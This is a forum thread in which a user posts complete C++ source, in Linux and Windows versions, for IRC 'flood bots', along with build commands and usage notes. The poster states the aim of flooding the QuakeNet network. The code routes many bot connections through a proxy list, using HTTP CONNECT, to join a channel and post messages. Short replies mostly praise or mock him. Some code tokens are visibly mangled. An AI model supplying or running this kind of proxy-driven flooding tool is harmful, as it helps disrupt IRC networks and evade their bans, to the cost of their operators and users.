IRC flood bots (cuntbots)

[Fallen]

Hi, i made these cuntbots to flood quakenet but i couldn't since they shitlist all proxies but i have tested them on my IRC network and they work, what does they do:
1. connect to network
2. join channel
3. say "Hello"

they will always respond to ping as long as theyre running.
Libraries needed:
1. boost thread
2. boost system
3. pthread (linux)
4. ws2_32 (windows)
5. wsock32 (windows)

Compile on windows:

g++ *.cpp -lboost_thread -lboost_system -lws2_32 -lwsock32 -enable-stdcall-fixup -enable-auto-import -enable-runtime-pseudo-reloc -s -mthreads -g -o cuntbot

on linux:

g++ *.cpp -lboost_thread -lboost_system -lpthread -o cuntbot

edit the definitions at the first of the file.
code:
linux version:
[cpp]/*!
* IRC Flood bots -*C++*-
* Copyright (C) 2011 Fallen <[email protected]>
*/

#ifdef _WIN32
#define _WIN32_WINNT 0x0501
#endif

#include <boost/asio.hpp>
#include <boost/thread.hpp>
#include <boost/bind.hpp>
#include <boost/noncopyable.hpp>
#include <boost/shared_ptr.hpp>
#include <iostream>
#include <cstdlib>
#include <cstdio>
#include <vector>
#include <sstream>
#include <string>
#include <stdint.h>
#include <string.h>

#ifdef assert
#undef assert
#endif

#ifndef __FUNCTION__
#define __FUNCTION__ __func__
#endif

#define assert(x)\
if (!x) { \
std::clog << "[Error - " << __FUNCTION__ << "] Asseration to: " << #x << " failed. line: " << __LINE__ << ", file: " << __FILE__ << "." << std::endl;\
std::exit(100);\
}

#define HOST "irc.textual.us"
#define PORT "6667"
#define CHANNEL "#help"

template<typename _Tp>
inline std::string toString(_Tp __p)
{
std::stringstream ss;
ss << __p;
return ss.str();
}

struct Proxy;

typedef std::vector<Proxy*> ProxyVec;

struct Proxy
{
char* name;
char* port;
Proxy()
{
name = new char[512];
port = new char[512];
}
};

ProxyVec loadProxies(const std::string& fileName)
{
std::FILE *f = fopen(fileName.c_str(), "r");
if (!f) {
std::clog << "[Error - loadProxies] Cannot open: " << fileName << "." << std::endl;
delete f;
f = NULL;
return ProxyVec();
}

char buffer[1024];
ProxyVec ret;
int32_t __n = 0;
while (fgets(buffer, sizeof(buffer), f)) {
++__n;
std::string str(buffer);
if (str.find("\n") != std::string::npos)
str = str.substr(0, str.length()-1);

if (str.find("\r") != std::string::npos)
str = str.substr(0, str.length()-1);

size_t sep = str.rfind(":");
if (sep == std::string::npos) {
std::clog << "[Error - loadProxies] Cannot load proxy #" << __n << "." << std::endl;
std::clog << "[Error - loadProxies] Usage: hostnameort" << std::endl;
continue;
}

std::string hostname = str.substr(0, sep);
std::string port = str.substr(sep+1, str.length()-sep);
std::clog << "Loading proxy: " << hostname << ":" << port << "." << std::endl;
Proxy *proxy = new Proxy;
sprintf(proxy->name, "%s", hostname.c_str());
sprintf(proxy->port, "%s", port.c_str());
ret.push_back(proxy);
}
fclose(f);
std::clog << "Loaded: " << __n << " proxies." << std::endl;
return ret;
}

class Socket : private boost::noncopyable
{
public:
Socket(boost::asio::io_service& service, const std::string& host,
const std::string& port);
~Socket();

void write(const std::string& message);
std::string receivedData() const;
bool connected() const;
void receive();
void handle();

private:
struct SocketData
{
SocketData(boost::asio::io_service& service, const std::string& _host,
const std::string& _port):
socket(service),
write(service),
read(service),
resolver(service),
buffers(),
host(_host),
port(_port),
connected(false)
{
}
std::string host, port;
boost::asio::ip::tcp::socket socket;
boost::asio::io_service::strand write, read;
boost::asio::ip::tcp::resolver resolver;
boost::array<char, 1024> buffers;
bool connected;
} d;

protected:
//handle resolve func
void handle_resolve(const boost::system::error_code&,
boost::asio::ip::tcp::resolver::iterator);

//handle connection func
void handle_connect(const boost::system::error_code&,
boost::asio::ip::tcp::resolver::iterator);

//handle write func
void handle_write(const boost::system::error_code&, size_t);

//handle read func
void handle_read(const boost::system::error_code&, size_t);

private:
void connectionThread();
};

Socket::Socket(boost::asio::io_service& service, const std::string& host, const std::string& port)
: d(service, host, port)
{
boost::thread thread(boost::bind(&Socket::connectionThread, this));
thread.join();
}

Socket::~Socket()
{
d.socket.close();
}

void Socket::connectionThread()
{
if (d.connected)
return;

boost::asio::ip::tcp::resolver::query query(d.host, d.port);
d.resolver.async_resolve(query,
boost::bind(&Socket::handle_resolve, this,
boost::asio:laceholders::error,
boost::asio:laceholders::iterator));
}

void Socket::handle_resolve(const boost::system::error_code& e,
boost::asio::ip::tcp::resolver::iterator ep_iter)
{
if (!e) {
boost::asio::ip::tcp::endpoint iter = *ep_iter;
d.socket.async_connect(iter,
boost::bind(&Socket::handle_connect, this,
boost::asio:laceholders::error, ++ep_iter));
} else {
std::clog << "[Error - Socket::handle_resolve] " << e.message() << "." << std::endl;
}
}

void Socket::handle_connect(const boost::system::error_code& e,
boost::asio::ip::tcp::resolver::iterator ep_iter)
{
if (!e) {
std::cout << "[Notice - Socket::handle_connect] Connected to host." << std::endl;
d.connected = true;
write("CONNECT " + std::string(HOST) + ":" + std::string(PORT) + " HTTP/1.1\r\n\r\n");
receive();
} else if (ep_iter != boost::asio::ip::tcp::resolver::iterator()) {
d.socket.close();
boost::asio::ip::tcp::endpoint ep = *ep_iter;
d.socket.async_connect(ep,
boost::bind(&Socket::handle_connect, this,
boost::asio:laceholders::error, ++ep_iter));
} else {
std::clog << "[Error - Server::handle_connect] " << e.message() << "." << std::endl;
}
}

void Socket::handle_write(const boost::system::error_code& e,
size_t bytes)
{
if (e) {
std::clog << "[Error - Socket::handle_write] " << e.message() << "." << std::endl;
}
}

void Socket::handle_read(const boost::system::error_code& e,
size_t bytes)
{
if (e) {
std::clog << "[Error - Socket::handle_read] " << e.message() << "." << std::endl;
return;
}

std::cout << receivedData() << std::endl;
receive();
}

void Socket::write(const std::string& message)
{
boost::asio::async_write(d.socket, boost::asio::buffer(message),
d.write.wrap(
boost::bind(&Socket::handle_write, this,
boost::asio:laceholders::error,
boost::asio:laceholders::bytes_transferred)));
}

std::string Socket::receivedData() const
{
return std::string(d.buffers.data());
}

void Socket::receive()
{
d.socket.async_read_some(boost::asio::buffer(d.buffers),
d.read.wrap(
boost::bind(&Socket::handle_read, this,
boost::asio:laceholders::error,
boost::asio:laceholders::bytes_transferred)));
handle();
}

void Socket::handle()
{
std::string str = receivedData();
if (str.substr(0, 4) == "PING")
write("PO" + str.substr(2) + "\r\n");
else if (str.find("MODE") != std::string::npos)
write("JOIN " + std::string(CHANNEL) + "\r\n");
else if (str.find("JOIN") != std::string::npos)
write("PRIVMSG " + std::string(CHANNEL) + " :Hello\r\n");
else if (str.find("Looking") != std::string::npos) {
int __p[12];
for (int32_t i = 1; i < 10; ++i)
__p = rand() % i;

char *p = new char[20];
sprintf(p, "%d", __p);
write("USER Fallen_" + std::string(p) + " * * :Fallen_" + std::string(p) + "\r\n");
write("NICK Fallen_" + std::string(p) + "\r\n");
std::clog << "Using nick: Fallen_" << p << std::endl;
}
for (uint32_t __i = 0; __i < d.buffers.size(); ++__i) {
d.buffers[__i] = 0;
d.buffers.elems[__i] = 0;
}
}

bool Socket::connected() const
{
return d.connected;
}

void handler(const std::string& fileName);

int main(int argc, char **argv)
{
std::clog << "Usage: " << argv[0] << " <proxy_file> to use a custom proxy file." << std::endl;
std::string file = "proxies.txt";
if (argc > 1)
file = std::string(argv[1]);

std::clog << "Using: " << file << " proxy file." << std::endl;
boost::this_thread::sleep(boost:osix_time::seconds(5));
boost::thread thread(boost::bind(handler, file));
thread.join();
do { } while (true);
}

void createSocket(const std::string& host, const std::string& port)
{
#ifdef _DEBUG
std::clog << "[Notice - createSocket] Creating socket...";
#endif
char* name = new char[256];
char* p = new char[256];
sprintf(name, "%s", host.c_str());
sprintf(p, "%s", port.c_str());
if ((*name && *name != '\0') && (*p && *p != '\0')) {
boost::asio::io_service io;
Socket* socket = new Socket(io, name, p);
io.run();
}
#ifdef _DEBUG
std::clog << "[Done]" << std::endl;
#endif
}

void handler(const std::string& fileName)
{
assert(!fileName.empty());

ProxyVec proxies = loadProxies(fileName);
assert(proxies.size());

for (ProxyVec::iterator it = proxies.begin(); it != proxies.end(); ++it) {
if (!*it)
continue;

boost::thread(createSocket, std::string((*it)->name), std::string((*it)->port));
boost::this_thread::sleep(boost:osix_time::seconds(3));
}
}
[/cpp]
windows version:
[cpp]/*!
* Copyright (C) 2011 Fallen <[email protected]>
* IRC Flood bots -*C++*-
*/

#ifdef _WIN32
#define _WIN32_WINNT 0x0501
#endif

#include <boost/asio.hpp>
#include <boost/thread.hpp>
#include <boost/bind.hpp>
#include <boost/noncopyable.hpp>
#include <boost/shared_ptr.hpp>
#include <iostream>
#include <cstdlib>
#include <cstdio>
#include <vector>
#include <sstream>
#include <string>
#include <stdint.h>
#include <string.h>

#ifdef assert
#undef assert
#endif

#ifndef __FUNCTION__
#define __FUNCTION__ __func__
#endif

#define assert(x)\
if (!x) { \
std::clog << "[Error - " << __FUNCTION__ << "] Asseration to: " << #x << " failed. line: " << __LINE__ << ", file: " << __FILE__ << "." << std::endl;\
std::exit(100);\
}

#define HOST "irc.textual.us"
#define PORT "6667"
#define CHANNEL "#help"

template<typename _Tp>
inline std::string toString(_Tp __p)
{
std::stringstream ss;
ss << __p;
return ss.str();
}

struct Proxy;

typedef std::vector<Proxy*> ProxyVec;

struct Proxy
{
char* name;
char* port;
Proxy()
{
name = new char[512];
port = new char[512];
}
};

ProxyVec loadProxies(const std::string& fileName)
{
std::FILE *f = fopen(fileName.c_str(), "r");
if (!f) {
std::clog << "[Error - loadProxies] Cannot open: " << fileName << "." << std::endl;
delete f;
f = NULL;
return ProxyVec();
}

char buffer[1024];
ProxyVec ret;
int32_t __n = 0;
while (fgets(buffer, sizeof(buffer), f)) {
++__n;
std::string str(buffer);
if (str.find("\n") != std::string::npos)
str = str.substr(0, str.length()-1);

if (str.find("\r") != std::string::npos)
str = str.substr(0, str.length()-1);

size_t sep = str.rfind(":");
if (sep == std::string::npos) {
std::clog << "[Error - loadProxies] Cannot load proxy #" << __n << "." << std::endl;
std::clog << "[Error - loadProxies] Usage: hostnameort" << std::endl;
continue;
}

std::string hostname = str.substr(0, sep);
std::string port = str.substr(sep+1, str.length()-sep);
std::clog << "Loading proxy: " << hostname << ":" << port << "." << std::endl;
Proxy *proxy = new Proxy;
sprintf(proxy->name, "%s", hostname.c_str());
sprintf(proxy->port, "%s", port.c_str());
ret.push_back(proxy);
}
fclose(f);
std::clog << "Loaded: " << __n << " proxies." << std::endl;
return ret;
}

class Socket : private boost::noncopyable
{
public:
Socket(boost::asio::io_service& service, const std::string& host,
const std::string& port);
~Socket();

void write(const std::string& message);
std::string receivedData() const;
bool connected() const;
void receive();
void handle();

private:
struct SocketData
{
SocketData(boost::asio::io_service& service, const std::string& _host,
const std::string& _port):
socket(service),
write(service),
read(service),
resolver(service),
buffers(),
host(_host),
port(_port),
connected(false)
{
}
std::string host, port;
boost::asio::ip::tcp::socket socket;
boost::asio::io_service::strand write, read;
boost::asio::ip::tcp::resolver resolver;
boost::array<char, 1024> buffers;
bool connected;
} d;

protected:
//handle resolve func
void handle_resolve(const boost::system::error_code&,
boost::asio::ip::tcp::resolver::iterator);

//handle connection func
void handle_connect(const boost::system::error_code&,
boost::asio::ip::tcp::resolver::iterator);

//handle write func
void handle_write(const boost::system::error_code&, size_t);

//handle read func
void handle_read(const boost::system::error_code&, size_t);

private:
void connectionThread();
};

Socket::Socket(boost::asio::io_service& service, const std::string& host, const std::string& port)
: d(service, host, port)
{
boost::thread thread(boost::bind(&Socket::connectionThread, this));
thread.join();
}

Socket::~Socket()
{
d.socket.close();
}

void Socket::connectionThread()
{
if (d.connected)
return;

boost::asio::ip::tcp::resolver::query query(d.host, d.port);
d.resolver.async_resolve(query,
boost::bind(&Socket::handle_resolve, this,
boost::asio:laceholders::error,
boost::asio:laceholders::iterator));
}

void Socket::handle_resolve(const boost::system::error_code& e,
boost::asio::ip::tcp::resolver::iterator ep_iter)
{
if (!e) {
boost::asio::ip::tcp::endpoint iter = *ep_iter;
d.socket.async_connect(iter,
boost::bind(&Socket::handle_connect, this,
boost::asio:laceholders::error, ++ep_iter));
} else {
std::clog << "[Error - Socket::handle_resolve] " << e.message() << "." << std::endl;
}
}

void Socket::handle_connect(const boost::system::error_code& e,
boost::asio::ip::tcp::resolver::iterator ep_iter)
{
if (!e) {
std::cout << "[Notice - Socket::handle_connect] Connected to host." << std::endl;
d.connected = true;
write("CONNECT " + std::string(HOST) + ":" + std::string(PORT) + " HTTP/1.1\r\n\r\n");
receive();
} else if (ep_iter != boost::asio::ip::tcp::resolver::iterator()) {
d.socket.close();
boost::asio::ip::tcp::endpoint ep = *ep_iter;
d.socket.async_connect(ep,
boost::bind(&Socket::handle_connect, this,
boost::asio:laceholders::error, ++ep_iter));
} else {
std::clog << "[Error - Server::handle_connect] " << e.message() << "." << std::endl;
}
}

void Socket::handle_write(const boost::system::error_code& e,
size_t bytes)
{
if (e) {
std::clog << "[Error - Socket::handle_write] " << e.message() << "." << std::endl;
d.connected = false;
}
}

void Socket::handle_read(const boost::system::error_code& e,
size_t bytes)
{
if (e) {
std::clog << "[Error - Socket::handle_read] " << e.message() << "." << std::endl;
d.connected = false;
return;
}

std::cout << receivedData() << std::endl;
receive();
}

void Socket::write(const std::string& message)
{
boost::asio::async_write(d.socket, boost::asio::buffer(message),
d.write.wrap(
boost::bind(&Socket::handle_write, this,
boost::asio:laceholders::error,
boost::asio:laceholders::bytes_transferred)));
}

std::string Socket::receivedData() const
{
return std::string(d.buffers.data());
}

void Socket::receive()
{
d.socket.async_read_some(boost::asio::buffer(d.buffers),
d.read.wrap(
boost::bind(&Socket::handle_read, this,
boost::asio:laceholders::error,
boost::asio:laceholders::bytes_transferred)));
handle();
}

void Socket::handle()
{
std::string str = receivedData();
if (str.substr(0, 4) == "PING")
write("PO" + str.substr(2) + "\r\n");
else if (str.find("MODE") != std::string::npos)
write("JOIN " + std::string(CHANNEL) + "\r\n");
else if (str.find("JOIN") != std::string::npos)
write("PRIVMSG " + std::string(CHANNEL) + " :Hello\r\n");
else if (str.find("Looking") != std::string::npos) {
int __p[12];
for (int32_t i = 1; i < 10; ++i)
__p = rand() % i;

char *p = new char[20];
sprintf(p, "%d", __p);
write("USER Fallen_" + std::string(p) + " * * :Fallen_" + std::string(p) + "\r\n");
write("NICK Fallen_" + std::string(p) + "\r\n");
std::clog << "Using nick: Fallen_" << p << std::endl;
}
for (uint32_t __i = 0; __i < d.buffers.size(); ++__i) {
d.buffers[__i] = 0;
d.buffers.elems[__i] = 0;
}
}

bool Socket::connected() const
{
return d.connected;
}

void handler(const std::string& fileName);

int main(int argc, char **argv)
{
std::clog << "Usage: " << argv[0] << " <proxy_file> to use a custom proxy file." << std::endl;
std::string file = "proxies.txt";
if (argc > 1)
file = std::string(argv[1]);

std::clog << "Using: " << file << " proxy file." << std::endl;
std::clog << "Loading up cuntbots..." << std::endl;
boost::this_thread::sleep(boost:osix_time::seconds(5));
boost::thread thread(boost::bind(handler, file));
thread.join();
do {} while (true);
}

void createSocket(const std::string& host, const std::string& port)
{
#ifdef _DEBUG
std::clog << "[Notice - createSocket] Creating socket...";
#endif
char* name = new char[256];
char* p = new char[256];
sprintf(name, "%s", host.c_str());
sprintf(p, "%s", port.c_str());
if ((*name && *name != '\0') && (*p && *p != '\0')) {
boost::asio::io_service io;
Socket* socket = new Socket(io, name, p);
io.run();
}
#ifdef _DEBUG
std::clog << "[Done]" << std::endl;
#endif
}

void handler(const std::string& fileName)
{
assert(!fileName.empty());

ProxyVec proxies = loadProxies(fileName);
assert(proxies.size());

for (ProxyVec::iterator it = proxies.begin(); it != proxies.end(); ++it) {
if (!*it)
continue;

boost::thread(createSocket, std::string((*it)->name), std::string((*it)->port));
boost::this_thread::sleep(boost:osix_time::seconds(5));
}
}
[/cpp]
usage:
create a file proxies.txt or w/e u want it to be named as but if u named it in another name run it as ./program_name <proxy_name>
then put in the proxies.txt or w/e u named it as:
hostnameort
etc
enjoy.

 

[Delirium]

Good job, noob hacker.

 

[Cykotitan]

You've stolen the idea from savetheinternet!

 

[Fallen]

@Cykotitan: He made it in bash and i told him i would beat him and make it in C++

 

[_Arthur]

cuntbot named _arfooor ;]

 

[Fallen]

you guys are so fucking weird, no real comments...

 

[chojrak]

@People:
Start posting quality shit already.

 

[Apollo_117]

Can I do this in Minichan?

 

[chojrak]

Can I do this in Minichan?

If they have IRC channel that's not on Quakenet.

 

[Herpicus]

I approve. Well done OP.

 

[Bogart]

OP is a troll, dont trust him.